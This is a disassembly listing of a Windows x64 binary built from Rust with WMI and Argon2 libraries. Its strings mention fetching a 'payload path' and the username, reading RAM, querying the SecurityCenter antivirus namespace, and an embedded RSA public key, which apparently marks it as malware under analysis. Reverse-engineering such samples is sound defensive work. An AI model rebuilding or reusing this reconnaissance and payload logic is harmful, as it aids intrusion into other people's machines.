lea rcx, str.internal_error:_entered_unreachable_code_home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_wmi_0.13.3_src_safearray.rs
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.14001b4b0
jmp 0x14000d8f3
mov r15d, pe_nt_image_headers64
mov eax, pe_nt_image_headers64
mov qword [rsp + 0xd0], rax
mov rcx, r15
mov rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xe0]
call fcn.140019dd0
jmp 0x14000d8f3
mov byte [rsp + 0x988], 0xc
mov eax, dword [rsp + 0x2d8]
jmp 0x14000cd1f
movabs rax, 0x11000100000006
jmp 0x14000d050
and r15d, 0xffffff00
movabs rax, 0x11000100000006
or rax, r15
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], r14
jmp 0x14000d730
mov rax, qword [rsp + 0x858]
mov qword [rsp + 0x8e0], rax
mov r8, qword [rsp + 0x860]
mov rax, qword [rsp + 0x8e0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], r8
jmp 0x14000d730
mov rax, qword [rsp + 0x858]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x860]
jmp 0x14000d72b
lea rax, [rsp + 0x1340]
mov rcx, qword [rsp + 0xf8]
mov qword [rax], rcx
mov qword [rsp + 0xf40], rax
lea rax, str.Unable_to_fetch_payload_path._Error:
lea rdx, [rsp + 0x400]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [fcn.1400bc140]
mov qword [rsp + 0xf48], rcx
lea rcx, [rsp + 0xf40]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x980]
call fcn.140002919
mov rdi, qword [rsp + 0x980]
mov rsi, qword [rsp + 0x988]
mov r9, qword [rsp + 0x990]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
lea rax, [rsp + 0x980]
movaps xmmword [rax + 0x10], xmm1
movdqa xmmword [rax], xmm0
lea rcx, [rsp + 0x310]
mov qword [rcx], rax
lea rax, str.Unable_to_fetch_username._Error:
lea rdx, [rsp + 0x400]
mov qword [rdx], rax
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
lea rax, [0x1400bcbb0]
mov qword [rcx + 8], rax
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], r8
lea rcx, [rsp + 0x1340]
call fcn.140002919
mov rdi, qword [rsp + 0x1340]
mov rsi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
lea rax, [rsp + 0x980]
movaps xmmword [rax + 0x10], xmm1
movdqa xmmword [rax], xmm0
lea rcx, [rsp + 0x310]
mov qword [rcx], rax
lea rax, [0x140129cf0]
lea rdx, [rsp + 0x400]
mov qword [rdx], rax
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rax, [0x1400025c9]
mov qword [rcx + 8], rax
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x1340]
call fcn.140002919
mov rdi, qword [rsp + 0x1340]
mov rsi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movaps xmmword [rsp + 0x990], xmm1
movdqa xmmword [rsp + 0x980], xmm0
lea rax, [rsp + 0x310]
lea rcx, [rsp + 0x980]
mov qword [rax], rcx
lea rcx, [0x140129d50]
lea rdx, [rsp + 0x400]
mov qword [rdx], rcx
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rcx, [0x1400025c9]
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x1340]
call fcn.140002919
mov rdi, qword [rsp + 0x1340]
mov rsi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movaps xmmword [rsp + 0x990], xmm1
movdqa xmmword [rsp + 0x980], xmm0
lea rax, [rsp + 0x310]
lea rcx, [rsp + 0x980]
mov qword [rax], rcx
lea rcx, [0x140129db0]
lea rdx, [rsp + 0x400]
mov qword [rdx], rcx
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rcx, [0x1400025c9]
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x1340]
call fcn.140002919
mov rdi, qword [rsp + 0x1340]
mov rsi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
movdqu xmm0, xmmword [rsp + 0xf40]
movups xmm1, xmmword [rsp + 0xf50]
movaps xmmword [rsp + 0x990], xmm1
movdqa xmmword [rsp + 0x980], xmm0
lea rax, [rsp + 0x310]
lea rcx, [rsp + 0x980]
mov qword [rax], rcx
lea rcx, str.Couldnt_get_RAM._Error:
lea rdx, [rsp + 0x400]
mov qword [rdx], rcx
mov qword [rdx + 8], 2
and qword [rdx + 0x20], 0
lea rcx, [0x1400025c9]
mov qword [rax + 8], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x1340]
call fcn.140002919
mov rdi, qword [rsp + 0x1340]
mov rsi, qword [rsp + 0x1348]
mov r9, qword [rsp + 0x1350]
lea rcx, str.error
push 5
pop rdx
mov r8, rdi
call fcn.14000f1e4
mov rcx, rdi
mov rdx, rsi
call fcn.1400f09e1
call fcn.14000e368
jmp 0x14000d8f3
mov byte [rsp + 0x1340], bh
lea rax, [0x140129e08]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140128a60]
push 0x2b
pop rdx
lea r8, [rsp + 0x1340]
call fcn.140020f20
jmp 0x14000d8f3
lea rcx, str.error
lea r8, str.Unable_to_resolve_WMI_for_securitycenter._n_____BEGIN_RSA_PUBLIC_KEY______nMIIBCgKCAQEAsG8YIs0tjiau5c0ME9EOvBru1FcgPoxW6xkzS9u7NdVsXVfMzgO_ng0JBTEqmOpYjgCT34FYM_VQqzCly0HtCAP23XYuJrxPSiYdNFxrjsUBEzw5Spi_nRFvvKPslWS6zl20sm35h1BoNZbgGrtCavnrzydOByiP_Epon1UKWc81QmmY2ec_nxcXp9GsFXlV93Cc6ZMhxhWtwlv7j1iU3hQeA8Jxz5IZnRmwSdeGWqq0xcMgBW9a_nF0X8kyvTd4Xb9QKK4wZ7rVHbs0sfEhfo6PVBOaJQS6ubmD_RooJdmGdhP4wnJC3b_n9Ea8LhHTaylwghBgq9wCrnDVyvxMGDQIDAQAB_n_____END_RSA_PUBLIC_KEY______n
push 5
pop rdx
push 0x29
pop r9
call fcn.14000f1e4
call fcn.14000e368
jmp 0x14000d8f3
mov rax, qword [rsp + 0x50]
and rax, 0xffffffffffffff00
or rax, 9
jmp 0x14000d672
and r14d, 0xffffff00
shl rax, 0x20
add rax, r14
add rax, 0xb
jmp 0x14000d71e
mov eax, dword [rsp + 0x310]
mov ecx, dword [rsp + 0x313]
mov dword [rsp + 0x983], ecx
mov dword [rsp + 0x980], eax
mov eax, dword [rsp + 0x980]
mov ecx, dword [rsp + 0x983]
lea r8, [rsp + 0x400]
mov dword [r8 + 0x1c], ecx
mov dword [r8 + 0x19], eax
mov rax, qword [rsp + 0xf8]
mov qword [r8], rax
mov rax, qword [rsp + 0x2b8]
mov qword [r8 + 8], rax
mov rax, qword [rsp + 0x218]
mov qword [r8 + 0x10], rax
mov byte [r8 + 0x18], 0
lea rax, [0x140129c50]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140128aa0]
push 0x2b
pop rdx
call fcn.140020f20
jmp 0x14000d8f3
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001ac80
jmp 0x14000d8f3
mov qword [rsp + 0xe0], rax
jmp 0x14000cfd0
mov al, byte [rsp + 0x988]
mov byte [rsp + 0xf40], al
lea rax, [0x14012a618]
lea r9, [0x140128ae0]
jmp 0x14000d758
lea rcx, str.no_first_field_home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_password_hash_0.5.0_src_lib.rs
lea r8, [0x140159b48]
push 0xe
pop rdx
call fcn.140022cc0
jmp 0x14000d8f3
push 9
pop rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xc0]
jmp 0x14000d72b
mov rax, qword [rsp + 0x50]
and rax, 0xffffffffffffff00
or rax, 0xa
mov qword [rsp + 0x58], rax
jmp 0x14000d730
lea r8, [rsp + 0x400]
mov qword [r8], rdi
mov qword [r8 + 8], r12
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], rax
mov byte [r8 + 0x20], cl
mov eax, dword [rsp + 0x980]
mov ecx, dword [rsp + 0x983]
mov dword [r8 + 0x21], eax
mov dword [r8 + 0x24], ecx
lea rax, [0x14012a278]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140128c00]
push 0x2b
pop rdx
call fcn.140020f20
jmp 0x14000d8f3
and r14d, 0xffffff00
movabs rax, 0x1100020000000b
jmp 0x14000d71b
movabs rax, 0xffffffff00000000
and rax, rcx
cmp cl, 6
mov edx, ecx
push 0xb
pop rcx
cmove rdx, rcx
or rdx, rax
mov qword [rsp + 0x58], rdx
jmp 0x14000d723
and r14d, 0xffffff00
movabs rax, 0x1100030000000b
or rax, r14
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xf40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xf48], rax
lea rax, [0x14012a630]
lea r9, [0x140128b60]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
push 0x2b
pop rdx
mov r8, qword [rsp + 0xed0]
call fcn.140020f20
jmp 0x14000d8f3
mov eax, 0xff03
jmp 0x14000d790
mov eax, 0x103
push 0x40
pop rcx
mov qword [rsp + 0x8d8], rcx
mov rcx, qword [rsp + 0x8c0]
and rcx, 0xffffffffffff0000
or rcx, rax
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x8d8]
jmp 0x14000d72b
movzx eax, byte [rsp + 0x408]
shl rax, 8
or rax, 1
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x8b8]
jmp 0x14000d72b
and r15, 0xffffffffffffff00
or r15, 7
mov qword [rsp + 0x58], r15
jmp 0x14000d026
lea rax, [0x140159b68]
mov qword [rsp + 0x20], rax
push 2
pop r8
mov rcx, rdi
mov rdx, rsi
mov r9, rsi
call fcn.1400244a0
jmp 0x14000d8f3
movzx ecx, byte [rsp + 0x983]
movzx edx, word [rsp + 0x981]
shl rdx, 8
shl rcx, 0x18
or rcx, rdx
mov rdx, qword [rsp + 0x988]
mov qword [rsp + 0x40], rdx
mov edx, dword [rsp + 0x984]
or rcx, rax
shl rdx, 0x20
or rdx, rcx
mov qword [rsp + 0x58], rdx
jmp 0x14000d730
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_block.rsshould_be_8_bytes
mov qword [rsp + 0x20], rax
lea rcx, [0x14012a8f6]
lea r9, [0x14012a850]
push 0x11
pop rdx
lea r8, [rsp + 0x97]
call fcn.140020f20
jmp 0x14000d8f3
lea rax, str.chunk_size_must_be_non_zero
lea rcx, [rsp + 0x400]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.invalid_type:___expected
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_lib.rs
call fcn.140019ac0
jmp 0x14000d8f3
mov qword [rsp + 0xd0], r14
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_lib.rs
jmp 0x14000d605
call fcn.14000fd50
jmp 0x14000d8f3
push 0x40
pop rcx
mov rdx, rsi
call fcn.14000fd90
jmp 0x14000d8f3
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_lib.rs
push 2
pop rcx
push 1
pop rdx
call fcn.14001ac80
ud2
mov qword [rsp + 0xd0], r14
lea rax, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_argon2_0.5.3_src_lib.rs
jmp 0x14000d605
lea r8, [0x140123220]
movsxd rax, dword [r8 + rax*4]
add al, 0x80
add al, 0x80
add rax, r8
jmp rax
mov dword [rcx + 4], 0x110002
jmp 0x140012624
invalid
add byte [rcx], dl
add bl, ch
invalid
mov dword [rcx + 4], 0x110003
mov al, 6
jmp 0x14001266f
xor eax, eax
jmp 0x14001266f
and dl, 1
mov byte [rcx + 1], dl
mov al, 1
jmp 0x14001266f
mov byte [rcx + 1], 0xff
mov qword [rcx + 8], 4
jmp 0x140012651
mov byte [rcx + 1], 1
mov eax, 0xffffffff
mov qword [rcx + 8], rax
mov al, 3
jmp 0x14001266f
mov al, 8
jmp 0x14001266f
mov dword [rcx + 4], 0x110003
jmp 0x140012669
mov dword [rcx + 4], 0x110002
mov al, 0xb
jmp 0x14001266f
mov al, 0xc
mov byte [rcx], al
ret